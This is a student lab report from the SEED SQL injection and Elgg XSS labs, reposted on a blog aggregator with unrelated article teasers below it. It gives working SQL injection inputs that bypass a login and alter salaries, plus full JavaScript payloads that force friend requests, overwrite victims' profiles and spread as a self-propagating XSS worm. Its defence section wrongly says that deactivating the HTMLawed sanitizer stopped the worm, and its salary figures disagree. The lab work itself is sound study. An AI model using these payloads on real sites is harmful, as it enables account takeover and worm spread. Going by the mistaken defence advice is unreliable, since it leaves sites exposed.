20232810 2023-2024-2 《网络攻防实践》实验十

news2024/11/19 23:18:22

1.实践内容

1.1SEED SQL注入攻击与防御实验

（1）使用数据库熟悉SQL查询： 我们已经创建了一个名为Users的数据库，其中包含一个名为creditential的表。该表存储了每个员工的个人信息（例如，eid，密码，薪水，ssn等）。
（2）对SELECT语句的SQL注入攻击：上述Web应用存在SQL输入漏洞，任务是在不知道密码的情况下登陆该Web应用程序。
（3）对UPDATE语句的SQL注入攻击：通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
（4）SQL对抗：修复上述SQL注入攻击漏洞。

1.2SEED XSS跨站脚本攻击实验(Elgg)

（1）发布恶意消息，显示警报窗口：在您的Elgg配置文件中嵌入一个JavaScript程序，以便当另一个用户查看您的配置文件时，将执行JavaScript程序并显示一个警报窗口。
（2）弹窗显示cookie信息：将cookie信息显示。
（3）窃取受害者的cookies：将cookie发送给攻击者。
（4）成为受害者的朋友：使用js程序加受害者为朋友，无需受害者干预，使用相关的工具了解Elgg加好友的过程。
（5）修改受害者的信息：使用js程序使得受害者在访问Alice的页面时，资料无需干预却被修改。
（6）编写XSS蠕虫。
（7）对抗XSS攻击。

2.实践过程

2.1SEED SQL注入攻击与防御实验

2.1.1使用数据库熟悉SQL查询

1、输入命令行 sudo service apache2 start 开启apache服务。
在这里插入图片描述
2、使用命令 mysql -u root -pseedubuntu 登录MySQL数据库。
在这里插入图片描述
3、利用指令 show databases; 查看mysql中已有的数据库。
在这里插入图片描述
4、利用指令 use Users; 和 show tables;（注意“；”）进行切换数据库，并在查看Users数据库中的所有表。
在这里插入图片描述
5、利用sql语句 select * from credential; 查看credential中所有记录。
在这里插入图片描述
6、使用sql语句 select * from credential where Name = ‘Alice’; 查询Name为Alice的相关记录。
在这里插入图片描述

2.1.2 对SELECT语句的SQL注入攻击

1、首先在浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。可以看到是这样的一个登录界面：
在这里插入图片描述
2、右键查看网页源码，发现登陆的表单中使用 get 方法访问unsafe_home.php
在这里插入图片描述3、相关的文件可以利用浏览器进行查看，其地址为：/var/www/SQLInjection/unsafe_home.php。

通过下面两个图我们可以看到，该程序针对admin和普通用户具有不同的处理方法。
在这里插入图片描述
在这里插入图片描述
4、因此针对程序代码，我们可以构造 Admin’#，并让 $input_uname 等于该值，这样会使得#后的Password判断不会执行（在sql语句中，#表示注释）。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录，如下图，密码随机输入：
在这里插入图片描述
5、可以看到已经成功登录！
在这里插入图片描述

2.1.3 对 UPDATE语句的SQL注入攻击

1、首先查看 Edit_Profile 页面的源代码。点击上方的 Edit Profile 进入更新页面，然后右键查看源代码。
在这里插入图片描述
2、从下图我们看到，表单依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面。
在这里插入图片描述
3、跟上一个类似，依旧是用浏览器查看 unsafe_edit_backend.php 页面，其地址为 /var/www/SQLInjection/unsafe_edit_backend.php。
我们可以看到UPDATE更新语句处，我们可以通过构造 $input_nickname 的值来进行SQL注入攻击。我们可以使 $input_nickname 的值等于 ', Salary=‘2000’ where name=‘Admin’; #，也就是把Admin的Salary改为2000。
在这里插入图片描述
4、在NickName处输入 ‘, Salary=‘1905’ where name=‘Admin’; #
在这里插入图片描述
5、再次使用 Admin’# 登录查看，可以看到Admin的Salary已经改为2000。
在这里插入图片描述

2.1.4 SQL对抗：修复上述SQL注入攻击漏洞

本实验中修改sql语句的方法，是将参数与需要执行的动作或条件分开，从而避免的了sql注入的风险。
1、输入 /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php 查看其源码。
在这里插入图片描述
2、首先针对 unsafe_home.php 中的SELECT语句进行修改。

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

3、针对 unsafe_edit_backend.php 的UPDATE语句进行修改。

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

2.2 实践二

2.2.1 发布恶意消息，显示警报窗口

1、首先在浏览器中访问 http://www.xsslabelgg.com。
在这里插入图片描述2、使用账号：Alice，密码：seedalice 进行登录。

在这里插入图片描述
3、点击Alice头像进入主页，再选择 Edit profile，最后在 Brief description中输入XSS攻击代码 。
在这里插入图片描述
4、点击保存，发现弹出xss警告弹窗。
在这里插入图片描述

2.2.2 弹窗显示cookie信息：将cookie信息显示。

1、在 Edit profile 里面的 Brief description 中输入xss攻击代码。
在这里插入图片描述
2、点击保存后，会显示出cookie的信息。
在这里插入图片描述

2.2.3 窃取受害者的cookies：将cookie发送给攻击者

1、因为需要把cookie发送给攻击者，因此首先查看seed虚拟机的IP地址，从下图可以看出，IP地址为：192.168.108.130。
在这里插入图片描述
2、根据seed的IP地址构造xss攻击代码（本机的1905端口是没有被占用的端口），依旧是在 Edit profile 里面的 Brief description 中输入xss攻击代码 并保存。
在这里插入图片描述
3、切换账号，使用boby的账号进行登录。账号：Boby，密码：seedboby。
在这里插入图片描述
在这里插入图片描述
4、使用指令 nc -l 1905 -v 监听1905端口。
在这里插入图片描述
5、和Alice成为好友。
在这里插入图片描述
在这里插入图片描述
6、使用Boby的账号访问Alice，成功得到Boby的cookie。
在这里插入图片描述

2.2.4 成为受害者的朋友

1、先 ctrl+shift+E 打开浏览器开发者模式，进入Network页面，然后点击和Charlie成为好友，这时我们可以在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。
在这里插入图片描述
从下图我们可以看到一共申请参数一共有三个，分别是：friend, __elgg_ts, __elgg_token，别分代表着好友的id、时间戳以及token。
在这里插入图片描述
2、根据以上信息我们可以构造xss攻击代码。

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;


    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

将该段代码放到Alice的 About me 下并选择 Edit HTML 模式，点击保存。
在这里插入图片描述
3、使用Boby登录，为进行测试攻击代码是否生效，先把Alice移除好友。
在这里插入图片描述
4、点击访问Alice主页，我们可直接在Web Console的Network中看到自动申请添加好友的数据包。
在这里插入图片描述
在这里插入图片描述
5、我们发现Boby已经和Alice成为朋友了
在这里插入图片描述

2.2.5 修改受害者的信息

1、首先尝试更改 About me 的内容，并在Web Console的Network中查看到网站用POST的方式提交表单给http://www.xsslabelgg.com/action/profile/edit链接。
在这里插入图片描述
在这里插入图片描述
2、可看到提交数据包的参数中包括 __elgg_token、__elgg_ts、name 和 description等信息
在这里插入图片描述
在这里插入图片描述
3、根据以上信息可以进行构造xss攻击代码。

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.20232810xf </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

4、将构造的xss攻击代码依旧是放在Alice的 About me 中，并点击保存。
在这里插入图片描述
5、登录Boby的账号，并浏览Alice的主页,然后再返回自己主页发现 About me这里已经被改变了。
在这里插入图片描述

2.2.6 编写XSS蠕虫

1、我们根据前面的xss攻击代码构造一个具有传染性的xss蠕虫，代码如下：

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack.20221905wjh"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

2、将这段xss蠕虫代码放入Alice的About me中，并点击保存。
在这里插入图片描述
3、登录Boby账号，访问Alice主页,查看Boby的 About me，发现也已经被改变了，感染了xss蠕虫攻击代码。
在这里插入图片描述

2.2.7 对抗XSS攻击

1、首先登录Admin的账号（账号：Admin 密码：seedelgg）。
在这里插入图片描述
2、找到Account->Administration->plugins。

在这里插入图片描述
3、找到插件 HTMLawed ，将其关闭，设为 Deactivate 状态，该插件主要是用来校验用户的输入输出，并且可以自动删除特定的标签。
在这里插入图片描述
4、再次登录Boby账号，发现XSS蠕虫攻击已经失效。
在这里插入图片描述

三、学习中遇到的问题及解决

1、问题：在实验一中登录MySQL数据库失败。
solve:改成 mysql -u root -pseedubuntu 指令。

四、学习感想和体会

本次实验过程较为繁琐，内容扎实

五、参考资料

https://blog.csdn.net/weixin_44058333/article/details/99670265
https://www.cnblogs.com/william-tony/p/16296930.html
https://www.cnblogs.com/ql5199/p/16278848.html
https://blog.csdn.net/day0713/article/details/123172324
https://blog.csdn.net/qq_44922581/article/details/130594132?spm=1001.2014.3001.5502

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1683228.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

DOS学习-目录与文件应用操作经典案例-rd

DOS学习-目录与文件应用操作经典案例-rd

欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一.前言 二.使用 三.案例 一.前言 rd命令&#xff0c;全称Remove Directory&#xff0c;是DOS操作系统中的一个重要命令&#xff0c;用于删除指定的目录及其所有内容。 二.使用 命令格式…
阅读更多...
Kubeblocks系列2-redis尝试之出师未捷身先死

Kubeblocks系列2-redis尝试之出师未捷身先死

背景&#xff1a; 上一节&#xff0c;完成了Kubeblocks系列1-安装。现在就想拿一个简单的应用测试一下kubeblocks这个所谓的神器是否好用&#xff0c;是否可以应用与生产&#xff01; Kubeblocks系列2-redis尝试 参照官方文档&#xff1a;创建并连接到 Redis 集群 确保 Red…
阅读更多...
ORACLE 资源管理参数与等待事件resmgr:cpu quantum

ORACLE 资源管理参数与等待事件resmgr:cpu quantum

RESOURCE_MANAGER_PLAN 先来看下参数的含义 官网链接&#xff1a;RESOURCE_MANAGER_PLAN (oracle.com) 意思翻译过来这个参数用于资源计划。后边的看完也不是很明白具体的作用 于是参考了以下文章 Oracle 参数 RESOURCE_MANAGER_PLAN 官方解释&#xff0c;作用&#xff0c;…
阅读更多...
RH850F1KM-S4-100Pin_ R7F7016453AFP MCAL Gpt 配置

RH850F1KM-S4-100Pin_ R7F7016453AFP MCAL Gpt 配置

1、Gpt组件包含的子配置项 GptDriverConfigurationGptDemEventParameterRefsGptConfigurationOfOptApiServicesGptChannelConfigSet2、GptDriverConfiguration 2.1、GptAlreadyInitDetCheck 该参数启用/禁用Gpt_Init API中的GPT_E_ALREADY_INITIALIZED Det检查。 true:开启Gpt_…
阅读更多...
【计算机视觉（2）】

【计算机视觉（2）】

基于Python的OpenCV基础入门——视频的处理 视频OpenCV视频处理操作&#xff1a;创建视频对象判断视频是否成功初始化读取视频帧获取视频特征设置视频参数声明编码器保存视频释放视频对象 视频处理基本操作的代码实现&#xff1a; 视频 视频是由一系列连续的图像帧组成的。每一…
阅读更多...
地平线-旭日X3派（RDK X3）上手基本操作

地平线-旭日X3派（RDK X3）上手基本操作

0. 环境 - win10笔记本 - RDK X3 1.0&#xff08;地平线旭日X3派&#xff0c;后来改名为代号RDK X3&#xff09; 1. 下载资料 https://developer.horizon.ai/resource 主要下载镜像 http://sunrise.horizon.cc/downloads/os_images/2.1.0/release/ 下载得到了 ubuntu-prei…
阅读更多...
c# 将数据库连接字符串写到配置文件中，及获取

c# 将数据库连接字符串写到配置文件中，及获取

考虑到代码的安全性&#xff0c;已经修改起来的方便性&#xff0c;我们常常不会将数据库连接字符串直接放在代码中&#xff0c;而是将这个字符串放到一个App.config配置文件中&#xff0c;赋值给一个变量&#xff0c;然后再在代码中引用这个变量。 具体做法如下: ①展开项目名称…
阅读更多...
星火大模型：服务升级，免费开放！

星火大模型：服务升级，免费开放！

2023年9月5日&#xff0c;讯飞星火正式开放&#xff01;仅仅一个半月&#xff0c;讯飞星火在1024开发者节就实现用户规模突破1200万&#xff0c;成为人们获取知识、学习知识的“超级助手”&#xff0c;成为解放生产力、释放想象力的“超级杠杆”。从商业文案、软件代码、创意方…
阅读更多...
BCD编码(8421)介绍

BCD编码(8421)介绍

概念 BCD (Binary-Coded Decimal) 是一种二进制的数字编码形式&#xff0c;其特点每个十进制数位用4个二进制位来表示。 在网络IO中&#xff0c;你传输一个数字类型最少需要一字节&#xff0c;传输两个数字类型最少需要两字节&#xff0c;但是当你使用BCD编码后传输&#xff…
阅读更多...
4款卸载软件测评，流氓软件克星！

4款卸载软件测评，流氓软件克星！

正常卸载软件的方法&#xff0c;打开控制面板&#xff0c;点击程序-卸载程序&#xff0c;然后再选中软件卸载&#xff0c;但是这样往往注册表的内容还依然存在&#xff0c;今天分享4款卸载软件&#xff0c;都是专业卸载神器&#xff0c;简单说下我测评感受。 HiBit Uninstaller…
阅读更多...
半导体测试基础 - AC 参数测试

半导体测试基础 - AC 参数测试

AC 测试确保 DUT 的时特性序满足其规格需求。 基本 AC 参数 建立时间（Setup Time） 建立时间指的是在参考信号（图中为 WE）发生变化（取中间值 1.5V）前，为了确保能被正确读取，数据（图中为 DATA IN）必须提前保持稳定不变的最短时间。在最小建立时间之前，数据可以随意变…
阅读更多...
GPRS水表远程抄表系统

GPRS水表远程抄表系统

1.界定与原理 GPRS水表远程抄表系统是一种基于GPRS(GeneralPacketRadioService)通信技术的智能化水表管理方法系统。主要是通过在水表中集成化GPRS控制模块&#xff0c;完成远程数据传输&#xff0c;无需当场抄表&#xff0c;大大提升了抄表高效率。系统根据wifi网络搜集水表读…
阅读更多...
华为设备WLAN基础配置

华为设备WLAN基础配置

WLAN基础配置之AP上线 配置WLAN无线网络的第一阶段&#xff0c;AP上线技术&#xff1a; 实验目标&#xff1a;使得AP能够获得来自AC的DHCP地址服务的地址&#xff0c;且是该网段地址池中的IP。 实验步骤&#xff1a; 1.把AC当作三层交换机配置虚拟网关 sys Enter system view…
阅读更多...
分布式文件系统minIo

分布式文件系统minIo

分布式文件系统 什么是分布式文件系统 一个计算机无法存储海量的文件&#xff0c;通过网络将若干计算机组织起来共同去存储海量的文件&#xff0c;去接收海量用户的请求&#xff0c;这些组织起来的计算机通过网络进行通信&#xff0c;如下图&#xff1a; 好处&#xff1a; 1、…
阅读更多...
mysql存储比特位

mysql存储比特位

一、介绍 二、SQL CREATE TABLE bits_table (id INT PRIMARY KEY AUTO_INCREMENT,bit_value BIGINT UNSIGNED );-- 插入一个 8 位的 BIT 值 INSERT INTO bits_table (bit_value) VALUES (B10101010);-- 查询并格式化输出 SELECT id,bit_value,CONCAT(b, LPAD(BIN(bit_value),…
阅读更多...
npm run dev启动element-ui，提示node_modules中webpack的版本跟package.json中webpack的版本不一致

npm run dev启动element-ui，提示node_modules中webpack的版本跟package.json中webpack的版本不一致

问题一&#xff1a;修改node_modules/webpack/package.json版本为4.14.0&#xff0c;npm run dev时版本号又自动更改为 4.47.0 问题二&#xff1a;使用yarn 安装依赖&#xff0c;webpack的版本默认是4.47.0&#xff0c;为什么 求大佬们帮我解答一下以上两个问题 左侧是node_m…
阅读更多...
ClickHouse 几年内数据查询及细节

ClickHouse 几年内数据查询及细节

在 ClickHouse 中&#xff0c;查询三年内的时间数据可以使用以下方法&#xff1a; 1. 使用日期函数 可以使用 ClickHouse 支持的日期函数来筛选出三年内的数据。例如&#xff0c;使用 today() 函数获取当天日期&#xff0c;使用 toDate() 函数将日期转换为指定格式&#xff0…
阅读更多...
不闭合三维TSP：成长优化算法GO求解不闭合三维TSP（起点固定，终点不定，可以更改数据集），MATLAB代码

不闭合三维TSP：成长优化算法GO求解不闭合三维TSP（起点固定，终点不定，可以更改数据集），MATLAB代码

一、旅行商问题 旅行商问题&#xff08;Traveling salesman problem, TSP&#xff09;是一个经典的组合优化问题&#xff0c;它可以描述为一个商品推销员去若干城市推销商品&#xff0c;要求遍历所有城市后回到出发地&#xff0c;目的是选择一个最短的路线。当城市数目较少时&…
阅读更多...
2024年AI发展的四大趋势

2024年AI发展的四大趋势

近日&#xff0c;OpenAI发布首个视频生成模型“Sora”——通过接收文本指令&#xff0c;即可生成60秒短视频。一年前&#xff0c;同样是OpenAI发布的语言模型ChatGPT&#xff0c;让文本创作变得易如反掌。 在2023年&#xff0c;随着一系列AIGC的相继问世&#xff0c;我们看到A…
阅读更多...
深度学习之基于Pytorch框架的卷积神经网络图像去雨系统

深度学习之基于Pytorch框架的卷积神经网络图像去雨系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 在图像处理领域&#xff0c;图像去雨技术一直是一个热门的研究方向。随着深度学习技术的快速发展&am…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023